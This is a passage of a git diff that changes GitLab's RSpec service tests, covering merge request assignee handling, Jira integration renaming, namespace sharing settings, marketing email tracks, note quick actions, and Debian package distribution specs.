+ expect(note).not_to be_nil
+ expect(note.note).to eq removed_note
+ end
+ end
+
it 'creates assignee note' do
execute
- note = merge_request.notes.last
-
expect(note).not_to be_nil
- expect(note.note).to include "assigned to #{assignee.to_reference} and unassigned #{old_assignees.map(&:to_reference).to_sentence}"
+ expect(note.note).to include "assigned to #{assignee.to_reference} and #{removed_note}"
end
it 'sends email notifications to old and new assignees', :mailer, :sidekiq_inline do
diff --git a/spec/services/merge_requests/merge_service_spec.rb b/spec/services/merge_requests/merge_service_spec.rb
index ac39fb59c62..503c0282bd6 100644
--- a/spec/services/merge_requests/merge_service_spec.rb
+++ b/spec/services/merge_requests/merge_service_spec.rb
@@ -181,7 +181,7 @@ RSpec.describe MergeRequests::MergeService do
commit = double('commit', safe_message: "Fixes #{jira_issue.to_reference}")
allow(merge_request).to receive(:commits).and_return([commit])
- expect_any_instance_of(JiraService).to receive(:close_issue).with(merge_request, jira_issue, user).once
+ expect_any_instance_of(Integrations::Jira).to receive(:close_issue).with(merge_request, jira_issue, user).once
service.execute(merge_request)
end
@@ -193,7 +193,7 @@ RSpec.describe MergeRequests::MergeService do
commit = double('commit', safe_message: "Fixes #{jira_issue.to_reference}")
allow(merge_request).to receive(:commits).and_return([commit])
- expect_any_instance_of(JiraService).not_to receive(:close_issue)
+ expect_any_instance_of(Integrations::Jira).not_to receive(:close_issue)
service.execute(merge_request)
end
diff --git a/spec/services/merge_requests/update_assignees_service_spec.rb b/spec/services/merge_requests/update_assignees_service_spec.rb
index 076161c9029..3a0b17c2768 100644
--- a/spec/services/merge_requests/update_assignees_service_spec.rb
+++ b/spec/services/merge_requests/update_assignees_service_spec.rb
@@ -17,6 +17,7 @@ RSpec.describe MergeRequests::UpdateAssigneesService do
description: "FYI #{user2.to_reference}",
assignee_ids: [user3.id],
source_project: project,
+ target_project: project,
author: create(:user))
end
@@ -24,6 +25,7 @@ RSpec.describe MergeRequests::UpdateAssigneesService do
project.add_maintainer(user)
project.add_developer(user2)
project.add_developer(user3)
+ merge_request.errors.clear
end
let(:service) { described_class.new(project: project, current_user: user, params: opts) }
@@ -32,35 +34,53 @@ RSpec.describe MergeRequests::UpdateAssigneesService do
describe 'execute' do
def update_merge_request
service.execute(merge_request)
- merge_request.reload
+ end
+
+ shared_examples 'removing all assignees' do
+ it 'removes all assignees' do
+ expect(update_merge_request).to have_attributes(assignees: be_empty, errors: be_none)
+ end
+
+ it 'enqueues the correct background work' do
+ expect_next(MergeRequests::HandleAssigneesChangeService, project: project, current_user: user) do |service|
+ expect(service)
+ .to receive(:async_execute)
+ .with(merge_request, [user3], execute_hooks: true)
+ end
+
+ update_merge_request
+ end
end
context 'when the parameters are valid' do
context 'when using sentinel values' do
- let(:opts) { { assignee_ids: [0] } }
+ context 'when using assignee_ids' do
+ let(:opts) { { assignee_ids: [0] } }
+
+ it_behaves_like 'removing all assignees'
+ end
- it 'removes all assignees' do
- expect { update_merge_request }.to change(merge_request, :assignees).to([])
+ context 'when using assignee_id' do
+ let(:opts) { { assignee_id: 0 } }
+
+ it_behaves_like 'removing all assignees'
end
end
- context 'the assignee_ids parameter is the empty list' do
+ context 'when the assignee_ids parameter is the empty list' do
let(:opts) { { assignee_ids: [] } }
- it 'removes all assignees' do
- expect { update_merge_request }.to change(merge_request, :assignees).to([])
- end
+ it_behaves_like 'removing all assignees'
end
it 'updates the MR, and queues the more expensive work for later' do
expect_next(MergeRequests::HandleAssigneesChangeService, project: project, current_user: user) do |service|
expect(service)
- .to receive(:async_execute)
- .with(merge_request, [user3], execute_hooks: true)
+ .to receive(:async_execute).with(merge_request, [user3], execute_hooks: true)
end
expect { update_merge_request }
- .to change(merge_request, :assignees).to([user2])
+ .to change { merge_request.reload.assignees }.from([user3]).to([user2])
.and change(merge_request, :updated_at)
.and change(merge_request, :updated_by).to(user)
end
@@ -68,7 +88,10 @@ RSpec.describe MergeRequests::UpdateAssigneesService do
it 'does not update the assignees if they do not have access' do
opts[:assignee_ids] = [create(:user).id]
- expect { update_merge_request }.not_to change(merge_request, :assignee_ids)
+ expect(update_merge_request).to have_attributes(
+ assignees: [user3],
+ errors: be_any
+ )
end
it 'is more efficient than using the full update-service' do
diff --git a/spec/services/merge_requests/update_service_spec.rb b/spec/services/merge_requests/update_service_spec.rb
index a85fbd77d70..6ec2b158d30 100644
--- a/spec/services/merge_requests/update_service_spec.rb
+++ b/spec/services/merge_requests/update_service_spec.rb
@@ -297,6 +297,7 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
reviewers: [],
milestone: nil,
total_time_spent: 0,
+ time_change: 0,
description: "FYI #{user2.to_reference}"
}
)
@@ -768,6 +769,13 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
update_merge_request({ target_branch: 'target' })
end
+
+ it "does not try to mark as unchecked if it's already unchecked" do
+ expect(merge_request).to receive(:unchecked?).and_return(true)
+ expect(merge_request).not_to receive(:mark_as_unchecked)
+
+ update_merge_request({ target_branch: "target" })
+ end
end
context 'when auto merge is enabled and target branch changed' do
diff --git a/spec/services/namespace_settings/update_service_spec.rb b/spec/services/namespace_settings/update_service_spec.rb
index 887d56df099..8e176dbc6cd 100644
--- a/spec/services/namespace_settings/update_service_spec.rb
+++ b/spec/services/namespace_settings/update_service_spec.rb
@@ -75,5 +75,37 @@ RSpec.describe NamespaceSettings::UpdateService do
end
end
end
+
+ context "updating :prevent_sharing_groups_outside_hierarchy" do
+ let(:settings) { { prevent_sharing_groups_outside_hierarchy: true } }
+
+ context 'when user is a group owner' do
+ before do
+ group.add_owner(user)
+ end
+
+ it 'changes settings' do
+ expect { service.execute }
+ .to change { group.namespace_settings.prevent_sharing_groups_outside_hierarchy }
+ .from(false).to(true)
+ end
+ end
+
+ context 'when user is not a group owner' do
+ before do
+ group.add_maintainer(user)
+ end
+
+ it 'does not change settings' do
+ expect { service.execute }.not_to change { group.namespace_settings.prevent_sharing_groups_outside_hierarchy }
+ end
+
+ it 'returns the group owner error' do
+ service.execute
+
+ expect(group.namespace_settings.errors.messages[:prevent_sharing_groups_outside_hierarchy]).to include('can only be changed by a group admin.')
+ end
+ end
+ end
end
end
diff --git a/spec/services/namespaces/in_product_marketing_emails_service_spec.rb b/spec/services/namespaces/in_product_marketing_emails_service_spec.rb
index 3094f574184..2bf02e541f9 100644
--- a/spec/services/namespaces/in_product_marketing_emails_service_spec.rb
+++ b/spec/services/namespaces/in_product_marketing_emails_service_spec.rb
@@ -41,22 +41,23 @@ RSpec.describe Namespaces::InProductMarketingEmailsService, '#execute' do
using RSpec::Parameterized::TableSyntax
where(:track, :interval, :actions_completed) do
- :create | 1 | { created_at: frozen_time - 2.days }
- :create | 5 | { created_at: frozen_time - 6.days }
- :create | 10 | { created_at: frozen_time - 11.days }
- :verify | 1 | { created_at: frozen_time - 2.days, git_write_at: frozen_time - 2.days }
- :verify | 5 | { created_at: frozen_time - 6.days, git_write_at: frozen_time - 6.days }
- :verify | 10 | { created_at: frozen_time - 11.days, git_write_at: frozen_time - 11.days }
- :trial | 1 | { created_at: frozen_time - 2.days, git_write_at: frozen_time - 2.days, pipeline_created_at: frozen_time - 2.days }
- :trial | 5 | { created_at: frozen_time - 6.days, git_write_at: frozen_time - 6.days, pipeline_created_at: frozen_time - 6.days }
- :trial | 10 | { created_at: frozen_time - 11.days, git_write_at: frozen_time - 11.days, pipeline_created_at: frozen_time - 11.days }
- :team | 1 | { created_at: frozen_time - 2.days, git_write_at: frozen_time - 2.days, pipeline_created_at: frozen_time - 2.days, trial_started_at: frozen_time - 2.days }
- :team | 5 | { created_at: frozen_time - 6.days, git_write_at: frozen_time - 6.days, pipeline_created_at: frozen_time - 6.days, trial_started_at: frozen_time - 6.days }
- :team | 10 | { created_at: frozen_time - 11.days, git_write_at: frozen_time - 11.days, pipeline_created_at: frozen_time - 11.days, trial_started_at: frozen_time - 11.days }
+ :create | 1 | { created_at: frozen_time - 2.days }
+ :create | 5 | { created_at: frozen_time - 6.days }
+ :create | 10 | { created_at: frozen_time - 11.days }
+ :verify | 1 | { created_at: frozen_time - 2.days, git_write_at: frozen_time - 2.days }
+ :verify | 5 | { created_at: frozen_time - 6.days, git_write_at: frozen_time - 6.days }
+ :verify | 10 | { created_at: frozen_time - 11.days, git_write_at: frozen_time - 11.days }
+ :trial | 1 | { created_at: frozen_time - 2.days, git_write_at: frozen_time - 2.days, pipeline_created_at: frozen_time - 2.days }
+ :trial | 5 | { created_at: frozen_time - 6.days, git_write_at: frozen_time - 6.days, pipeline_created_at: frozen_time - 6.days }
+ :trial | 10 | { created_at: frozen_time - 11.days, git_write_at: frozen_time - 11.days, pipeline_created_at: frozen_time - 11.days }
+ :team | 1 | { created_at: frozen_time - 2.days, git_write_at: frozen_time - 2.days, pipeline_created_at: frozen_time - 2.days, trial_started_at: frozen_time - 2.days }
+ :team | 5 | { created_at: frozen_time - 6.days, git_write_at: frozen_time - 6.days, pipeline_created_at: frozen_time - 6.days, trial_started_at: frozen_time - 6.days }
+ :team | 10 | { created_at: frozen_time - 11.days, git_write_at: frozen_time - 11.days, pipeline_created_at: frozen_time - 11.days, trial_started_at: frozen_time - 11.days }
+ :experience | 30 | { created_at: frozen_time - 31.days, git_write_at: frozen_time - 31.days }
end
with_them do
- it { is_expected.to send_in_product_marketing_email(user.id, group.id, track, described_class::INTERVAL_DAYS.index(interval)) }
+ it { is_expected.to send_in_product_marketing_email(user.id, group.id, track, described_class::TRACKS[track][:interval_days].index(interval)) }
end
end
@@ -235,7 +236,7 @@ RSpec.describe Namespaces::InProductMarketingEmailsService, '#execute' do
let(:track) { :foo }
before do
- stub_const("#{described_class}::TRACKS", { bar: :git_write })
+ stub_const("#{described_class}::TRACKS", { bar: {} })
end
it { expect { subject }.to raise_error(ArgumentError, 'Track foo not defined') }
diff --git a/spec/services/notes/create_service_spec.rb b/spec/services/notes/create_service_spec.rb
index 31263feb947..5b4d6188b66 100644
--- a/spec/services/notes/create_service_spec.rb
+++ b/spec/services/notes/create_service_spec.rb
@@ -307,7 +307,7 @@ RSpec.describe Notes::CreateService do
),
# Set WIP status
QuickAction.new(
- action_text: "/wip",
+ action_text: "/draft",
before_action: -> {
issuable.reload.update!(title: "title")
},
@@ -317,7 +317,7 @@ RSpec.describe Notes::CreateService do
),
# Remove WIP status
QuickAction.new(
- action_text: "/wip",
+ action_text: "/draft",
before_action: -> {
issuable.reload.update!(title: "WIP: title")
},
diff --git a/spec/services/notes/quick_actions_service_spec.rb b/spec/services/notes/quick_actions_service_spec.rb
index 9692bb08379..cb7d0163cac 100644
--- a/spec/services/notes/quick_actions_service_spec.rb
+++ b/spec/services/notes/quick_actions_service_spec.rb
@@ -130,6 +130,17 @@ RSpec.describe Notes::QuickActionsService do
end
end
+ describe '/estimate' do
+ let(:note_text) { '/estimate 1h' }
+
+ it 'adds time estimate to noteable' do
+ content = execute(note)
+
+ expect(content).to be_empty
+ expect(note.noteable.time_estimate).to eq(3600)
+ end
+ end
+
describe 'note with command & text' do
describe '/close, /label, /assign & /milestone' do
let(:note_text) do
@@ -302,6 +313,11 @@ RSpec.describe Notes::QuickActionsService do
end
it_behaves_like 'note on noteable that supports quick actions' do
+ let_it_be(:incident, reload: true) { create(:incident, project: project) }
+ let(:note) { build(:note_on_issue, project: project, noteable: incident) }
+ end
+
+ it_behaves_like 'note on noteable that supports quick actions' do
let(:merge_request) { create(:merge_request, source_project: project) }
let(:note) { build(:note_on_merge_request, project: project, noteable: merge_request) }
end
diff --git a/spec/services/notification_recipients/builder/default_spec.rb b/spec/services/notification_recipients/builder/default_spec.rb
index 994138ea828..c142cc11384 100644
--- a/spec/services/notification_recipients/builder/default_spec.rb
+++ b/spec/services/notification_recipients/builder/default_spec.rb
@@ -160,21 +160,7 @@ RSpec.describe NotificationRecipients::Builder::Default do
end
end
- before do
- stub_feature_flags(notification_setting_recipient_refactor: enabled)
- end
-
- context 'with notification_setting_recipient_refactor enabled' do
- let(:enabled) { true }
-
- it_behaves_like 'custom notification recipients'
- end
-
- context 'with notification_setting_recipient_refactor disabled' do
- let(:enabled) { false }
-
- it_behaves_like 'custom notification recipients'
- end
+ it_behaves_like 'custom notification recipients'
end
end
end
diff --git a/spec/services/packages/debian/create_distribution_service_spec.rb b/spec/services/packages/debian/create_distribution_service_spec.rb
index 87cf1070075..ecf82c6a1db 100644
--- a/spec/services/packages/debian/create_distribution_service_spec.rb
+++ b/spec/services/packages/debian/create_distribution_service_spec.rb
@@ -4,8 +4,12 @@ require 'spec_helper'
RSpec.describe Packages::Debian::CreateDistributionService do
RSpec.shared_examples 'Create Debian Distribution' do |expected_message, expected_components, expected_architectures|
+ let_it_be(:container) { create(container_type) } # rubocop:disable Rails/SaveBang
+
it 'returns ServiceResponse', :aggregate_failures do
if expected_message.nil?
+ expect(::Packages::Debian::GenerateDistributionWorker).to receive(:perform_async).with(container_type, an_instance_of(Integer))
+
expect { response }
.to change { container.debian_distributions.klass.all.count }
.from(0).to(1)
@@ -18,6 +22,7 @@ RSpec.describe Packages::Debian::CreateDistributionService do
.and not_change { Packages::Debian::ProjectComponentFile.count }
.and not_change { Packages::Debian::GroupComponentFile.count }
else
+ expect(::Packages::Debian::GenerateDistributionWorker).not_to receive(:perform_async)
expect { response }
.to not_change { container.debian_distributions.klass.all.count }
.and not_change { container.debian_distributions.count }
@@ -109,13 +114,13 @@ RSpec.describe Packages::Debian::CreateDistributionService do
let(:response) { subject.execute }
context 'within a projet' do
- let_it_be(:container) { create(:project) }
+ let_it_be(:container_type) { :project }
it_behaves_like 'Debian Create Distribution Service'
end
context 'within a group' do
- let_it_be(:container) { create(:group) }
+ let_it_be(:container_type) { :group }
it_behaves_like 'Debian Create Distribution Service'
end
diff --git a/spec/services/packages/debian/destroy_distribution_service_spec.rb b/spec/services/packages/debian/destroy_distribution_service_spec.rb
deleted file mode 100644
index e4c43884bb4..00000000000
--- a/spec/services/packages/debian/destroy_distribution_service_spec.rb
+++ /dev/null
@@ -1,78 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Packages::Debian::DestroyDistributionService do
- RSpec.shared_examples 'Destroy Debian Distribution' do |expected_message|
- it 'returns ServiceResponse', :aggregate_failures do
- if expected_message.nil?
- expect { response }
- .to change { container.debian_distributions.klass.all.count }
- .from(1).to(0)
- .and change { container.debian_distributions.count }
- .from(1).to(0)
- .and change { component1.class.all.count }
- .from(2).to(0)
- .and change { architecture1.class.all.count }
- .from(3).to(0)
- .and change { component_file1.class.all.count }
- .from(4).to(0)
- else
- expect { response }
- .to not_change { container.debian_distributions.klass.all.count }
- .and not_change { container.debian_distributions.count }
- .and not_change { component1.class.all.count }
- .and not_change { architecture1.class.all.count }
- .and not_change { component_file1.class.all.count }
- end
-
- expect(response).to be_a(ServiceResponse)
- expect(response.success?).to eq(expected_message.nil?)
- expect(response.error?).to eq(!expected_message.nil?)
- expect(response.message).to eq(expected_message)
-
- if expected_message.nil?
- expect(response.payload).to eq({})
- else
- expect(response.payload).to eq(distribution: distribution)
- end
- end
- end
-
- RSpec.shared_examples 'Debian Destroy Distribution Service' do |container_type, can_freeze|
- context "with a Debian #{container_type} distribution" do
- let_it_be(:container, freeze: can_freeze) { create(container_type) } # rubocop:disable Rails/SaveBang
- let_it_be(:distribution, freeze: can_freeze) { create("debian_#{container_type}_distribution", container: container) }
- let_it_be(:component1, freeze: can_freeze) { create("debian_#{container_type}_component", distribution: distribution, name: 'component1') }
- let_it_be(:component2, freeze: can_freeze) { create("debian_#{container_type}_component", distribution: distribution, name: 'component2') }
- let_it_be(:architecture0, freeze: true) { create("debian_#{container_type}_architecture", distribution: distribution, name: 'all') }
- let_it_be(:architecture1, freeze: can_freeze) { create("debian_#{container_type}_architecture", distribution: distribution, name: 'architecture1') }
- let_it_be(:architecture2, freeze: can_freeze) { create("debian_#{container_type}_architecture", distribution: distribution, name: 'architecture2') }
- let_it_be(:component_file1, freeze: can_freeze) { create("debian_#{container_type}_component_file", :source, component: component1) }
- let_it_be(:component_file2, freeze: can_freeze) { create("debian_#{container_type}_component_file", component: component1, architecture: architecture1) }
- let_it_be(:component_file3, freeze: can_freeze) { create("debian_#{container_type}_component_file", :source, component: component2) }
- let_it_be(:component_file4, freeze: can_freeze) { create("debian_#{container_type}_component_file", component: component2, architecture: architecture2) }
-
- subject { described_class.new(distribution) }
-
- let(:response) { subject.execute }
-
- context 'with a distribution' do
- it_behaves_like 'Destroy Debian Distribution'
- end
-
- context 'when destroy fails' do
- let(:distribution) { create("debian_#{container_type}_distribution", container: container) }
-
- before do
- expect(distribution).to receive(:destroy).and_return(false)
- end
-
- it_behaves_like 'Destroy Debian Distribution', "Unable to destroy Debian #{container_type} distribution"
- end
- end
- end
-
- it_behaves_like 'Debian Destroy Distribution Service', :project, true
- it_behaves_like 'Debian Destroy Distribution Service', :group, false
-end
diff --git a/spec/services/packages/debian/extract_changes_metadata_service_spec.rb b/spec/services/packages/debian/extract_changes_metadata_service_spec.rb
index 2a92b8ed26e..ced846866c2 100644
--- a/spec/services/packages/debian/extract_changes_metadata_service_spec.rb
+++ b/spec/services/packages/debian/extract_changes_metadata_service_spec.rb
@@ -6,8 +6,10 @@ RSpec.describe Packages::Debian::ExtractChangesMetadataService do
let_it_be(:distribution) { create(:debian_project_distribution, codename: 'unstable') }
let_it_be(:incoming) { create(:debian_incoming, project: distribution.project) }
- let(:package_file) { incoming.package_files.last }
- let(:service) { described_class.new(package_file) }
+ let(:source_file) { incoming.package_files.first }
+ let(:dsc_file) { incoming.package_files.second }
+ let(:changes_file) { incoming.package_files.last }
+ let(:service) { described_class.new(changes_file) }
subject { service.execute }
@@ -23,7 +25,7 @@ RSpec.describe Packages::Debian::ExtractChangesMetadataService do
end
context 'with invalid package file' do
- let(:package_file) { incoming.package_files.first }
+ let(:changes_file) { incoming.package_files.first }
it 'raise ArgumentError', :aggregate_failures do
expect { subject }.to raise_error(described_class::ExtractionError, "is not a changes file")
@@ -31,14 +33,14 @@ RSpec.describe Packages::Debian::ExtractChangesMetadataService do
end
context 'with invalid metadata' do
- let(:md5_dsc) { '3b0817804f669e16cdefac583ad88f0e 671 libs optional sample_1.2.3~alpha2.dsc' }
- let(:md5_source) { 'd79b34f58f61ff4ad696d9bd0b8daa68 864 libs optional sample_1.2.3~alpha2.tar.xz' }
+ let(:md5_dsc) { "#{dsc_file.file_md5} 671 libs optional sample_1.2.3~alpha2.dsc" }
+ let(:md5_source) { "#{source_file.file_md5} 864 libs optional sample_1.2.3~alpha2.tar.xz" }
let(:md5s) { "#{md5_dsc}\n#{md5_source}" }
- let(:sha1_dsc) { '32ecbd674f0bfd310df68484d87752490685a8d6 671 sample_1.2.3~alpha2.dsc' }
- let(:sha1_source) { '5f8bba5574eb01ac3b1f5e2988e8c29307788236 864 sample_1.2.3~alpha2.tar.xz' }
+ let(:sha1_dsc) { "#{dsc_file.file_sha1} 671 sample_1.2.3~alpha2.dsc" }
+ let(:sha1_source) { "#{source_file.file_sha1} 864 sample_1.2.3~alpha2.tar.xz" }
let(:sha1s) { "#{sha1_dsc}\n#{sha1_source}" }
- let(:sha256_dsc) { '844f79825b7e8aaa191e514b58a81f9ac1e58e2180134b0c9512fa66d896d7ba 671 sample_1.2.3~alpha2.dsc' }
- let(:sha256_source) { 'b5a599e88e7cbdda3bde808160a21ba1dd1ec76b2ec8d4912aae769648d68362 864 sample_1.2.3~alpha2.tar.xz' }
+ let(:sha256_dsc) { "#{dsc_file.file_sha256} 671 sample_1.2.3~alpha2.dsc" }
+ let(:sha256_source) { "#{source_file.file_sha256} 864 sample_1.2.3~alpha2.tar.xz" }
let(:sha256s) { "#{sha256_dsc}\n#{sha256_source}" }
let(:fields) { { 'Files' => md5s, 'Checksums-Sha1' => sha1s, 'Checksums-Sha256' => sha256s } }
let(:metadata) { { file_type: :changes, architecture: 'amd64', fields: fields } }
@@ -82,7 +84,7 @@ RSpec.describe Packages::Debian::ExtractChangesMetadataService do
end
context 'with different size in Checksums-Sha1' do
- let(:sha1_dsc) { '32ecbd674f0bfd310df68484d87752490685a8d6 42 sample_1.2.3~alpha2.dsc' }
+ let(:sha1_dsc) { "#{dsc_file.file_sha1} 42 sample_1.2.3~alpha2.dsc" }
it 'raise ArgumentError', :aggregate_failures do
expect { subject }.to raise_error(described_class::ExtractionError, "Size for sample_1.2.3~alpha2.dsc in Files and Checksums-Sha1 differ")
@@ -99,7 +101,7 @@ RSpec.describe Packages::Debian::ExtractChangesMetadataService do
end
context 'with different size in Checksums-Sha256' do
- let(:sha256_dsc) { '844f79825b7e8aaa191e514b58a81f9ac1e58e2180134b0c9512fa66d896d7ba 42 sample_1.2.3~alpha2.dsc' }
+ let(:sha256_dsc) { "#{dsc_file.file_sha256} 42 sample_1.2.3~alpha2.dsc" }
it 'raise ArgumentError', :aggregate_failures do
expect { subject }.to raise_error(described_class::ExtractionError, "Size for sample_1.2.3~alpha2.dsc in Files and Checksums-Sha256 differ")
@@ -126,7 +128,7 @@ RSpec.describe Packages::Debian::ExtractChangesMetadataService do
let(:md5_dsc) { '1234567890123456789012345678012 671 libs optional sample_1.2.3~alpha2.dsc' }
it 'raise ArgumentError', :aggregate_failures do
- expect { subject }.to raise_error(described_class::ExtractionError, "Validation failed: Md5sum mismatch for sample_1.2.3~alpha2.dsc: 3b0817804f669e16cdefac583ad88f0e != 1234567890123456789012345678012")
+ expect { subject }.to raise_error(described_class::ExtractionError, "Validation failed: Md5sum mismatch for sample_1.2.3~alpha2.dsc: #{dsc_file.file_md5} != 1234567890123456789012345678012")
end
end
@@ -134,7 +136,7 @@ RSpec.describe Packages::Debian::ExtractChangesMetadataService do
let(:sha1_dsc) { '1234567890123456789012345678901234567890 671 sample_1.2.3~alpha2.dsc' }
it 'raise ArgumentError', :aggregate_failures do
- expect { subject }.to raise_error(described_class::ExtractionError, "Validation failed: Sha1sum mismatch for sample_1.2.3~alpha2.dsc: 32ecbd674f0bfd310df68484d87752490685a8d6 != 1234567890123456789012345678901234567890")
+ expect { subject }.to raise_error(described_class::ExtractionError, "Validation failed: Sha1sum mismatch for sample_1.2.3~alpha2.dsc: #{dsc_file.file_sha1} != 1234567890123456789012345678901234567890")
end
end
@@ -142,7 +144,7 @@ RSpec.describe Packages::Debian::ExtractChangesMetadataService do
let(:sha256_dsc) { '1234567890123456789012345678901234567890123456789012345678901234 671 sample_1.2.3~alpha2.dsc' }
it 'raise ArgumentError', :aggregate_failures do
- expect { subject }.to raise_error(described_class::ExtractionError, "Validation failed: Sha256sum mismatch for sample_1.2.3~alpha2.dsc: 844f79825b7e8aaa191e514b58a81f9ac1e58e2180134b0c9512fa66d896d7ba != 1234567890123456789012345678901234567890123456789012345678901234")
+ expect { subject }.to raise_error(described_class::ExtractionError, "Validation failed: Sha256sum mismatch for sample_1.2.3~alpha2.dsc: #{dsc_file.file_sha256} != 1234567890123456789012345678901234567890123456789012345678901234")
end
end
end
diff --git a/spec/services/packages/debian/generate_distribution_service_spec.rb b/spec/services/packages/debian/generate_distribution_service_spec.rb
index 0547d18c8bc..a162e492e7e 100644
--- a/spec/services/packages/debian/generate_distribution_service_spec.rb
+++ b/spec/services/packages/debian/generate_distribution_service_spec.rb
@@ -1,182 +1,25 @@
# frozen_string_literal: true
+
require 'spec_helper'
RSpec.describe Packages::Debian::GenerateDistributionService do
- let_it_be(:group) { create(:group, :public) }
- let_it_be(:project) { create(:project, :public, group: group) }
- let_it_be(:project_distribution) { create("debian_project_distribution", container: project, codename: 'unstable', valid_time_duration_seconds: 48.hours.to_i) }
-
- let_it_be(:incoming) { create(:debian_incoming, project: project) }
-
- before_all do
- ::Packages::Debian::ProcessChangesService.new(incoming.package_files.last, nil).execute
- end
-
- let(:service) { described_class.new(distribution) }
-
describe '#execute' do
- subject { service.execute }
-
- shared_examples 'Generate Distribution' do |container_type|
- context "for #{container_type}" do
- if container_type == :group
- let_it_be(:container) { group }
- let_it_be(:distribution, reload: true) { create('debian_group_distribution', container: group, codename: 'unstable', valid_time_duration_seconds: 48.hours.to_i) }
- else
- let_it_be(:container) { project }
- let_it_be(:distribution, reload: true) { project_distribution }
- end
-
- context 'with components and architectures' do
- let_it_be(:component_main ) { create("debian_#{container_type}_component", distribution: distribution, name: 'main') }
- let_it_be(:component_contrib) { create("debian_#{container_type}_component", distribution: distribution, name: 'contrib') }
-
- let_it_be(:architecture_all ) { create("debian_#{container_type}_architecture", distribution: distribution, name: 'all') }
- let_it_be(:architecture_amd64) { create("debian_#{container_type}_architecture", distribution: distribution, name: 'amd64') }
- let_it_be(:architecture_arm64) { create("debian_#{container_type}_architecture", distribution: distribution, name: 'arm64') }
-
- let_it_be(:component_file1) { create("debian_#{container_type}_component_file", component: component_main, architecture: architecture_all, created_at: '2020-01-24T09:00:00.000Z') } # destroyed
- let_it_be(:component_file2) { create("debian_#{container_type}_component_file", component: component_main, architecture: architecture_amd64, created_at: '2020-01-24T10:29:59.000Z') } # destroyed
- let_it_be(:component_file3) { create("debian_#{container_type}_component_file", component: component_contrib, architecture: architecture_all, created_at: '2020-01-24T10:30:00.000Z') } # kept
- let_it_be(:component_file4) { create("debian_#{container_type}_component_file", component: component_contrib, architecture: architecture_amd64, created_at: '2020-01-24T11:30:00.000Z') } # kept
-
- def check_component_file(component_name, component_file_type, architecture_name, expected_content)
- component_file = distribution
- .component_files
- .with_component_name(component_name)
- .with_file_type(component_file_type)
- .with_architecture_name(architecture_name)
- .last
+ subject { described_class.new(distribution).execute }
- expect(component_file).not_to be_nil
- expect(component_file.file.exists?).to eq(!expected_content.nil?)
+ include_context 'with published Debian package'
- unless expected_content.nil?
- component_file.file.use_file do |file_path|
- expect(File.read(file_path)).to eq(expected_content)
- end
- end
- end
-
- it 'updates distribution and component files', :aggregate_failures do
- travel_to(Time.utc(2020, 01, 25, 15, 17, 18, 123456)) do
- expect(Gitlab::ErrorTracking).not_to receive(:log_exception)
-
- expect { subject }
- .to not_change { Packages::Package.count }
- .and not_change { Packages::PackageFile.count }
- .and change { distribution.component_files.count }.from(4).to(2 + 6)
-
- expected_main_amd64_content = <<~EOF
- Package: libsample0
- Source: sample
- Version: 1.2.3~alpha2
- Installed-Size: 7
- Maintainer: John Doe <john.doe@example.com>
- Architecture: amd64
- Description: Some mostly empty lib
- Used in GitLab tests.
- .
- Testing another paragraph.
- Multi-Arch: same
- Homepage: https://gitlab.com/
- Section: libs
- Priority: optional
- Filename: pool/unstable/#{project.id}/s/sample/libsample0_1.2.3~alpha2_amd64.deb
- Size: 409600
- MD5sum: fb0842b21adc44207996296fe14439dd
- SHA256: 1c383a525bfcba619c7305ccd106d61db501a6bbaf0003bf8d0c429fbdb7fcc1
-
- Package: sample-dev
- Source: sample (1.2.3~alpha2)
- Version: 1.2.3~binary
- Installed-Size: 7
- Maintainer: John Doe <john.doe@example.com>
- Architecture: amd64
- Depends: libsample0 (= 1.2.3~binary)
- Description: Some mostly empty developpement files
- Used in GitLab tests.
- .
- Testing another paragraph.
- Multi-Arch: same
- Homepage: https://gitlab.com/
- Section: libdevel
- Priority: optional
- Filename: pool/unstable/#{project.id}/s/sample/sample-dev_1.2.3~binary_amd64.deb
- Size: 409600
- MD5sum: d2afbd28e4d74430d22f9504e18bfdf5
- SHA256: 9fbeee2191ce4dab5288fad5ecac1bd369f58fef9a992a880eadf0caf25f086d
- EOF
-
- check_component_file('main', :packages, 'all', nil)
- check_component_file('main', :packages, 'amd64', expected_main_amd64_content)
- check_component_file('main', :packages, 'arm64', nil)
-
- check_component_file('contrib', :packages, 'all', nil)
- check_component_file('contrib', :packages, 'amd64', nil)
- check_component_file('contrib', :packages, 'arm64', nil)
-
- size = expected_main_amd64_content.length
- md5sum = Digest::MD5.hexdigest(expected_main_amd64_content)
- sha256 = Digest::SHA256.hexdigest(expected_main_amd64_content)
-
- expected_release_content = <<~EOF
- Codename: unstable
- Date: Sat, 25 Jan 2020 15:17:18 +0000
- Valid-Until: Mon, 27 Jan 2020 15:17:18 +0000
- Architectures: all amd64 arm64
- Components: contrib main
- MD5Sum:
- d41d8cd98f00b204e9800998ecf8427e 0 contrib/binary-all/Packages
- d41d8cd98f00b204e9800998ecf8427e 0 contrib/binary-amd64/Packages
- d41d8cd98f00b204e9800998ecf8427e 0 contrib/binary-arm64/Packages
- d41d8cd98f00b204e9800998ecf8427e 0 main/binary-all/Packages
- #{md5sum} #{size} main/binary-amd64/Packages
- d41d8cd98f00b204e9800998ecf8427e 0 main/binary-arm64/Packages
- SHA256:
- e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 contrib/binary-all/Packages
- e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 contrib/binary-amd64/Packages
- e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 contrib/binary-arm64/Packages
- e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 main/binary-all/Packages
- #{sha256} #{size} main/binary-amd64/Packages
- e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 main/binary-arm64/Packages
- EOF
+ [:project, :group].each do |container_type|
+ context "for #{container_type}" do
+ include_context 'with Debian distribution', container_type
- distribution.file.use_file do |file_path|
- expect(File.read(file_path)).to eq(expected_release_content)
- end
- end
- end
+ context 'with Debian components and architectures' do
+ it_behaves_like 'Generate Debian Distribution and component files'
end
context 'without components and architectures' do
- it 'updates distribution and component files', :aggregate_failures do
- travel_to(Time.utc(2020, 01, 25, 15, 17, 18, 123456)) do
- expect(Gitlab::ErrorTracking).not_to receive(:log_exception)
-
- expect { subject }
- .to not_change { Packages::Package.count }
- .and not_change { Packages::PackageFile.count }
- .and not_change { distribution.component_files.count }
-
